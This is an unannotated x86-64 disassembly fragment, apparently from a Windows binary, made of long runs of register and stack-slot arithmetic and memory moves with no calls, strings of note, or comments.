mov byte [0x140178ea3], al
lea rax, [rsp + 0xb04]
mov qword [rsp + 0x6b40], rax
movsx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x62a0]
mov byte [rcx], al
lea rax, [0x14017a418]
mov qword [rsp + 0x6b48], rax
mov rax, qword [rsp + 0x5d70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x938]
shl eax, cl
mov word [rsp + 0x9f8], ax
mov rax, qword [rsp + 0x57a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bd0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a04], eax
lea rax, [0x14017a058]
mov qword [rsp + 0x6b50], rax
mov rax, qword [rsp + 0x6958]
mov rcx, qword [rsp + 0x50f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5ea8], rax
lea rax, [rsp + 0x2c1c]
mov qword [rsp + 0x6b58], rax
movzx eax, byte [rsp + 0xb1]
mov byte [0x14017a0fd], al
movsx eax, word [rsp + 0x9dc]
movsx ecx, word [rsp + 0x9b0]
add eax, ecx
mov rcx, qword [rsp + 0x5190]
mov word [rcx], ax
lea rax, [rsp + 0xbec]
mov qword [rsp + 0x6b60], rax
mov rax, qword [rsp + 0x5d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
sub eax, ecx
mov byte [rsp + 0xb2], al
movsx eax, word [rsp + 0x8dc]
movsx ecx, word [rsp + 0x9b8]
sub eax, ecx
mov rcx, qword [rsp + 0x63c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5e68]
mov rax, qword [rax]
mov qword [rsp + 0x6b68], rax
mov rax, qword [rsp + 0x5220]
mov ecx, dword [0x14017a064]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c0c], eax
mov rax, qword [rsp + 0x6858]
mov eax, dword [rax]
mov dword [rsp + 0x2d7c], eax
mov rax, qword [rsp + 0x5fe8]
mov rcx, qword [rsp + 0x6570]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x68e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
sub eax, ecx
mov byte [0x140178ecb], al
movzx eax, byte [rsp + 0x90]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov byte [rcx], al
movzx eax, word [rsp + 0xa44]
mov word [rsp + 0xbf8], ax
movzx eax, word [0x140178f38]
movzx ecx, word [rsp + 0xa90]
add eax, ecx
mov rcx, qword [rsp + 0x54f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6828]
movzx eax, word [rax]
mov word [rsp + 0xbfc], ax
mov eax, dword [rsp + 0x2a64]
mov rcx, qword [rsp + 0x61e0]
mov qword [rsp + 0x6b70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6b70]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5618]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5308]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5160]
mov qword [rsp + 0x6b78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6b78]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2d5c], eax
lea rax, [rsp + 0x5230]
mov qword [rsp + 0x6b80], rax
mov rax, qword [rsp + 0x67c0]
mov rcx, qword [rsp + 0x6118]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4f78], rax
movzx eax, byte [rsp + 0x128]
movzx ecx, byte [rsp + 0xee]
or eax, ecx
mov rcx, qword [0x14017a3e8]
mov byte [rcx], al
lea rax, [rsp + 0x123]
mov qword [rsp + 0x6b88], rax
mov rax, qword [rsp + 0x5b40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10e]
add eax, ecx
mov rcx, qword [rsp + 0x54b8]
mov byte [rcx], al
lea rax, [0x14017a350]
mov qword [rsp + 0x6b90], rax
mov rax, qword [rsp + 0x63a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
and eax, ecx
mov byte [rsp + 0x9d], al
mov eax, dword [0x14017a064]
mov ecx, dword [rsp + 0x2be0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x65f8]
mov dword [rcx], eax
lea rax, [rsp + 0x2a78]
mov qword [rsp + 0x6b98], rax
mov rax, qword [rsp + 0x56a0]
mov rcx, qword [rsp + 0x4e50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5338], rax
mov rax, qword [rsp + 0x58d8]
mov qword [rsp + 0x6ba0], rax
movsx eax, byte [0x14017a0e4]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [0x14017a438]
mov byte [rcx], al
movzx eax, byte [rsp + 0x13a]
movzx ecx, byte [rsp + 0x101]
sub eax, ecx
mov byte [rsp + 0xc3], al
movsx eax, word [rsp + 0x980]
movsx ecx, word [rsp + 0xb00]
add eax, ecx
mov word [rsp + 0x8a0], ax
lea rax, [rsp + 0xb78]
mov qword [rsp + 0x6ba8], rax
mov rax, qword [rsp + 0x66b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbf4]
add eax, ecx
mov word [rsp + 0xa98], ax
mov rax, qword [rsp + 0x52e8]
mov rax, qword [rax]
mov qword [rsp + 0x6bb0], rax
mov rax, qword [rsp + 0x4f70]
mov ecx, dword [rsp + 0x2bc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b7c], eax
mov rax, qword [rsp + 0x5420]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x62e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5e88], rax
mov rax, qword [rsp + 0x6238]
mov eax, dword [rax]
mov dword [rsp + 0x2d80], eax
mov rax, qword [rsp + 0x6b20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xff]
sar eax, cl
mov byte [rsp + 0xed], al
movzx eax, word [rsp + 0xbcc]
movzx ecx, word [rsp + 0xa04]
xor eax, ecx
mov word [0x140178f3c], ax
movzx eax, word [0x140178f10]
mov word [rsp + 0xc00], ax
mov rax, qword [rsp + 0x67b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x118]
shl eax, cl
mov rcx, qword [rsp + 0x63c8]
mov byte [rcx], al
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xb3c]
or eax, ecx
mov word [rsp + 0x980], ax
mov rax, qword [0x140178e60]
mov qword [rsp + 0x6bb8], rax
mov eax, dword [rsp + 0x2d7c]
mov ecx, dword [rsp + 0x2cf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c7c], eax
lea rax, [rsp + 0x53b0]
mov qword [rsp + 0x6bc0], rax
mov rax, qword [rsp + 0x6810]
mov ecx, dword [rsp + 0x2aa8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2cb4], eax
movzx eax, byte [rsp + 0x83]
mov byte [rsp + 0x13f], al
lea rax, [rsp + 0xa78]
mov qword [0x14017a470], rax
mov rax, qword [rsp + 0x67b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9c]
and eax, ecx
mov byte [rsp + 0x88], al
movsx eax, word [0x140178f14]
mov rcx, qword [rsp + 0x66b0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5670]
mov word [rcx], ax
lea rax, [rsp + 0x8c0]
mov qword [rsp + 0x6bc8], rax
mov rax, qword [0x140178e78]
mov rcx, qword [rsp + 0x54a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b60]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bec]
mov dword [rsp + 0x2d84], eax
mov rax, qword [rsp + 0x6640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x58c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5e78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6890], rax
lea rax, [rsp + 0xb88]
mov qword [rsp + 0x6bd0], rax
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73]
sub eax, ecx
mov rcx, qword [0x14017a320]
mov byte [rcx], al
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x64e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x76], al
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x140], al
movsx eax, byte [rsp + 0x91]
mov rcx, qword [rsp + 0x5350]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf2], al
mov eax, dword [0x140178e6c]
mov ecx, dword [rsp + 0x2d4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6470]
mov dword [rcx], eax
lea rax, [rsp + 0x2c00]
mov qword [rsp + 0x6bd8], rax
mov rax, qword [rsp + 0x56a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6128]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5c78]
mov qword [rsp + 0x6be0], rax
mov rax, qword [rsp + 0x5ec0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4d00]
mov word [rcx], ax
mov rax, qword [rsp + 0x66d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10e]
sar eax, cl
mov rcx, qword [0x14017a110]
mov byte [rcx], al
movsx eax, word [rsp + 0xa94]
movsx ecx, word [rsp + 0xa88]
xor eax, ecx
mov word [rsp + 0xa38], ax
lea rax, [rsp + 0xaf]
mov qword [rsp + 0x6be8], rax
movsx eax, word [rsp + 0x90c]
movsx ecx, word [rsp + 0xbf0]
and eax, ecx
mov word [rsp + 0xa98], ax
movzx eax, word [0x140178ed8]
mov word [rsp + 0xc04], ax
mov rax, qword [rsp + 0x6120]
mov ecx, dword [rsp + 0x2adc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2cc8], eax
lea rax, [rsp + 0x2bc8]
mov qword [rsp + 0x6bf0], rax
mov rax, qword [rsp + 0x4fd8]
mov rcx, qword [rsp + 0x5740]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5aa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ba0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x58a0], rax
lea rax, [rsp + 0xbec]
mov qword [0x14017a478], rax
movzx eax, byte [0x140178e8a]
mov byte [rsp + 0x141], al
mov rax, qword [rsp + 0x5608]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
sub eax, ecx
mov rcx, qword [rsp + 0x55e0]
mov byte [rcx], al
lea rax, [rsp + 0x920]
mov qword [rsp + 0x6bf8], rax
movzx eax, byte [rsp + 0x6b]
movzx ecx, byte [rsp + 0xc4]
add eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x5b00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d68], eax
lea rax, [rsp + 0x5788]
mov qword [rsp + 0x6c00], rax
mov rax, qword [rsp + 0x5008]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x62e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5ce8], rax
lea rax, [rsp + 0x2b64]
mov qword [rsp + 0x6c08], rax
lea rax, [rsp + 0x11a]
mov qword [0x14017a480], rax
mov rax, qword [rsp + 0x5e38]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6600]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [0x14017a0e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5db8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xbdc], ax
lea rax, [rsp + 0x53]
mov qword [rsp + 0x6c10], rax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [0x14017a0e0]
or eax, ecx
mov word [rsp + 0xaac], ax
mov rax, qword [rsp + 0x6120]
mov eax, dword [rax]
mov dword [rsp + 0x2d88], eax
mov rax, qword [rsp + 0x4e58]
mov rcx, qword [rsp + 0x5cb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2d1c], eax
lea rax, [rsp + 0x59c0]
mov qword [rsp + 0x6c18], rax
mov rax, qword [rsp + 0x5948]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5420]
mov qword [rsp + 0x6c20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6c20]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x69c8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x13d]
movzx ecx, byte [rsp + 0xf0]
and eax, ecx
mov rcx, qword [0x14017a348]
mov byte [rcx], al
mov rax, qword [rsp + 0x6218]
movzx eax, word [rax]
mov rcx, qword [0x14017a100]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5918]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ef0]
movzx eax, word [rax]
mov word [rsp + 0xc08], ax
movsx eax, byte [rsp + 0xf1]
movsx ecx, byte [rsp + 0x137]
sub eax, ecx
mov byte [rsp + 0x5c], al
lea rax, [rsp + 0x8c4]
mov qword [rsp + 0x6c28], rax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x6a00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5708]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5018]
mov rcx, qword [rsp + 0x56c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ac8], eax
mov rax, qword [rsp + 0x5f28]
mov rax, qword [rax]
mov qword [rsp + 0x6c30], rax
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b68]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6800]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6298]
movzx eax, word [rax]
mov word [0x14017a488], ax
lea rax, [rsp + 0xbe]
mov qword [rsp + 0x6c38], rax
movzx eax, byte [rsp + 0xd2]
mov rcx, qword [rsp + 0x5b40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x138], al
movzx eax, word [rsp + 0xb78]
movzx ecx, word [rsp + 0xa78]
add eax, ecx
mov word [rsp + 0xa14], ax
mov rax, qword [rsp + 0x5318]
movzx eax, byte [rax]
mov byte [rsp + 0x142], al
mov rax, qword [rsp + 0x5948]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
lea rax, [rsp + 0x5878]
mov qword [rsp + 0x6c40], rax
mov rax, qword [rsp + 0x6380]
mov ecx, dword [rsp + 0x2adc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a04], eax
mov rax, qword [rsp + 0x5828]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5020]
mov qword [rsp + 0x6c48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6c48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2d14], eax
movzx eax, byte [rsp + 0x11f]
mov rcx, qword [rsp + 0x5be0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017a3b8]
mov byte [rcx], al
lea rax, [rsp + 0xbe8]
mov qword [rsp + 0x6c50], rax
mov rax, qword [rsp + 0x5030]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11c]
sar eax, cl
mov rcx, qword [rsp + 0x66b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a18]
movzx eax, byte [rax]
mov byte [rsp + 0x143], al
movzx eax, word [rsp + 0xa68]
mov rcx, qword [0x14017a180]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5ab8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2d04]
mov dword [rsp + 0x2d8c], eax
mov rax, qword [rsp + 0x5bd0]
mov rcx, qword [rsp + 0x6160]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ee8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x57a0]
mov rcx, qword [rsp + 0x50e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ccc], eax
lea rax, [rsp + 0x5b38]
mov qword [rsp + 0x6c58], rax
movsx eax, word [rsp + 0xbbc]
mov rcx, qword [rsp + 0x5100]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178f40], ax
movzx eax, word [rsp + 0xb14]
movzx ecx, word [rsp + 0x858]
add eax, ecx
mov word [rsp + 0x9b4], ax
movzx eax, byte [rsp + 0x124]
mov byte [rsp + 0x144], al
movzx eax, word [rsp + 0x8b8]
movzx ecx, word [rsp + 0x910]
add eax, ecx
mov rcx, qword [rsp + 0x5d10]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd5]
mov rcx, qword [rsp + 0x4e90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x5420]
mov rax, qword [rax]
mov qword [rsp + 0x6c60], rax
mov rax, qword [rsp + 0x5f78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c24]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d60], eax
mov rax, qword [rsp + 0x64b8]
mov eax, dword [rax]
mov dword [rsp + 0x2d90], eax
mov rax, qword [rsp + 0x4f28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x55d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5c48], rax
mov rax, qword [rsp + 0x5ff0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x57a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178ebf], al
movzx eax, word [rsp + 0x8cc]
movzx ecx, word [rsp + 0xa50]
add eax, ecx
mov word [rsp + 0x9a4], ax
lea rax, [rsp + 0x980]
mov qword [rsp + 0x6c68], rax
movsx eax, word [rsp + 0xae0]
movsx ecx, word [rsp + 0x9d0]
shl eax, cl
mov rcx, qword [rsp + 0x57e8]
mov word [rcx], ax
lea rax, [0x14017a0cf]
mov qword [rsp + 0x6c70], rax
mov eax, dword [rsp + 0x2d38]
mov ecx, dword [rsp + 0x2b64]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5308]
mov eax, dword [rax]
mov dword [rsp + 0x2d94], eax
mov rax, qword [rsp + 0x5410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6678]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a08]
movzx ecx, al
mov rax, qword [rsp + 0x4f78]
sar rax, cl
mov qword [rsp + 0x62a8], rax
mov rax, qword [rsp + 0x6350]
movzx eax, word [rax]
mov word [rsp + 0xc0c], ax
lea rax, [rsp + 0x112]
mov qword [0x14017a490], rax
movzx eax, byte [rsp + 0x132]
movzx ecx, byte [rsp + 0x101]
and eax, ecx
mov byte [rsp + 0xa9], al
lea rax, [rsp + 0xa74]
mov qword [rsp + 0x6c78], rax
movsx eax, byte [rsp + 0xce]
mov rcx, qword [0x14017a070]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x6198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cec], eax
mov eax, dword [rsp + 0x2c8c]
mov dword [rsp + 0x2d98], eax
mov rax, qword [rsp + 0x6270]
mov rcx, qword [rsp + 0x6678]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6500]
mov qword [rcx], rax
mov rax, qword [rsp + 0x52a0]
mov rax, qword [rax]
mov qword [rsp + 0x6c80], rax
mov rax, qword [rsp + 0x5980]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x50a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6bc8]
mov word [rcx], ax
movsx eax, word [rsp + 0x860]
mov rcx, qword [rsp + 0x5e18]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a468]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xba8]
sub eax, ecx
mov rcx, qword [rsp + 0x58d0]
mov word [rcx], ax
lea rax, [rsp + 0x13c]
mov qword [rsp + 0x6c88], rax
mov rax, qword [0x14017a3e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
lea rax, [rsp + 0x2b2c]
mov qword [rsp + 0x6c90], rax
mov rax, qword [rsp + 0x5c98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2970]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d04], eax
mov rax, qword [rsp + 0x51d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6018]
mov qword [rsp + 0x6c98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6c98]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x6808]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6988]
mov rax, qword [rax]
mov qword [rsp + 0x6ca0], rax
movzx eax, word [rsp + 0xb04]
movzx ecx, word [rsp + 0xbc0]
shl eax, cl
mov word [rsp + 0xa74], ax
mov rax, qword [0x14017a098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x998]
or eax, ecx
mov word [0x140178f44], ax
movzx eax, byte [rsp + 0x83]
mov byte [rsp + 0x145], al
movsx eax, byte [rsp + 0xc6]
movsx ecx, byte [rsp + 0x61]
xor eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [0x14017a240]
movzx eax, byte [rax]
mov byte [rsp + 0x146], al
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x5f68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6758], rax
mov eax, dword [rsp + 0x2ba4]
mov ecx, dword [rsp + 0x2c60]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2cf0]
mov dword [rsp + 0x2d9c], eax
mov rax, qword [rsp + 0x6930]
mov rcx, qword [rsp + 0x6bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5fe8], rax
lea rax, [rsp + 0x9e4]
mov qword [rsp + 0x6ca8], rax
movzx eax, word [rsp + 0xa80]
mov rcx, qword [rsp + 0x62e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a288], ax
mov rax, qword [rsp + 0x5e38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
add eax, ecx
mov byte [rsp + 0xe1], al
movsx eax, word [rsp + 0xa24]
mov rcx, qword [rsp + 0x5b28]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6ca8]
mov word [rcx], ax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x6cb0], rax
mov rax, qword [rsp + 0x6528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc0c]
sub eax, ecx
mov word [rsp + 0x8a0], ax
lea rax, [rsp + 0x2c24]
mov qword [rsp + 0x6cb8], rax
mov rax, qword [rsp + 0x51c0]
mov rax, qword [rax]
mov rcx, qword [str.kD3]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fc0], rax
mov eax, dword [rsp + 0x2b98]
mov ecx, dword [rsp + 0x2d90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bb0], eax
mov rax, qword [rsp + 0x4ce8]
mov qword [rsp + 0x6cc0], rax
mov rax, qword [rsp + 0x6a48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9c]
and eax, ecx
mov byte [0x140178ec3], al
mov rax, qword [rsp + 0x62e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa04]
shl eax, cl
mov word [rsp + 0xa7c], ax
mov rax, qword [0x14017a128]
movzx eax, byte [rax]
mov byte [rsp + 0x147], al
movzx eax, word [rsp + 0xbcc]
mov rcx, qword [rsp + 0x60c0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x978], ax
mov rax, qword [rsp + 0x6a18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x108]
xor eax, ecx
mov byte [rsp + 0x84], al
lea rax, str.kD3
mov qword [rsp + 0x6cc8], rax
mov rax, qword [rsp + 0x5f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bd0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5220]
mov dword [rcx], eax
lea rax, [rsp + 0x2d7c]
mov qword [rsp + 0x6cd0], rax
mov rax, qword [rsp + 0x5ab0]
mov rcx, qword [rsp + 0x68e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5a78]
movzx eax, byte [rax]
mov byte [0x14017a0fe], al
lea rax, [rsp + 0xb9]
mov qword [rsp + 0x6cd8], rax
movsx eax, byte [rsp + 0x112]
mov rcx, qword [rsp + 0x6038]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10d], al
mov rax, qword [0x14017a440]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x950]
and eax, ecx
mov rcx, qword [rsp + 0x52c0]
mov word [rcx], ax
movzx eax, word [rsp + 0xa00]
mov word [rsp + 0xc10], ax
mov eax, dword [rsp + 0x2a44]
mov ecx, dword [rsp + 0x2bc8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d14], eax
mov rax, qword [rsp + 0x4fe8]
mov rax, qword [rax]
mov qword [rsp + 0x6ce0], rax
mov rax, qword [rsp + 0x5758]
mov rcx, qword [rsp + 0x6a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d80], eax
mov rax, qword [str.kD3]
mov rcx, qword [rsp + 0x5890]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x54a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb68]
add eax, ecx
mov rcx, qword [0x14017a1d0]
mov word [rcx], ax
lea rax, [rsp + 0x116]
mov qword [rsp + 0x6ce8], rax
mov rax, qword [rsp + 0x5700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa50]
sub eax, ecx
mov word [rsp + 0xb7c], ax
lea rax, [rsp + 0x8f]
mov qword [rsp + 0x6cf0], rax
movsx eax, word [rsp + 0xa20]
mov rcx, qword [rsp + 0x6320]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb3c], ax
mov rax, qword [rsp + 0x5710]
mov ecx, dword [rsp + 0x2b74]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d78], eax
mov eax, dword [rsp + 0x2b10]
mov dword [rsp + 0x2da0], eax
mov rax, qword [rsp + 0x6978]
mov rcx, qword [rsp + 0x53c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6498], rax
mov rax, qword [rsp + 0x60d8]
mov qword [rsp + 0x6cf8], rax
lea rax, [rsp + 0x890]
mov qword [0x14017a498], rax
movsx eax, word [rsp + 0x9e4]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6700]
mov word [rcx], ax
lea rax, [rsp + 0xac]
mov qword [rsp + 0x6d00], rax
mov rax, qword [0x14017a220]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x93]
or eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x6100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbc4]
xor eax, ecx
mov rcx, qword [rsp + 0x6938]
mov word [rcx], ax
lea rax, [rsp + 0x52d8]
mov qword [rsp + 0x6d08], rax
mov rax, qword [rsp + 0x5aa8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x68c0]
sar rax, cl
mov rcx, qword [rsp + 0x67c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ce4]
mov dword [rsp + 0x2da4], eax
mov rax, qword [rsp + 0x6820]
mov ecx, dword [rsp + 0x2ad0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2c30], eax
lea rax, [0x140178ecc]
mov qword [0x14017a4a0], rax
mov rax, qword [rsp + 0x6aa8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5520]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd2], al
mov rax, qword [rsp + 0x5918]
movzx eax, word [rax]
mov word [rsp + 0xc14], ax
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xae]
add eax, ecx
mov rcx, qword [rsp + 0x6610]
mov byte [rcx], al
movzx eax, word [rsp + 0x9c4]
mov word [rsp + 0xc18], ax
mov rax, qword [rsp + 0x4ae0]
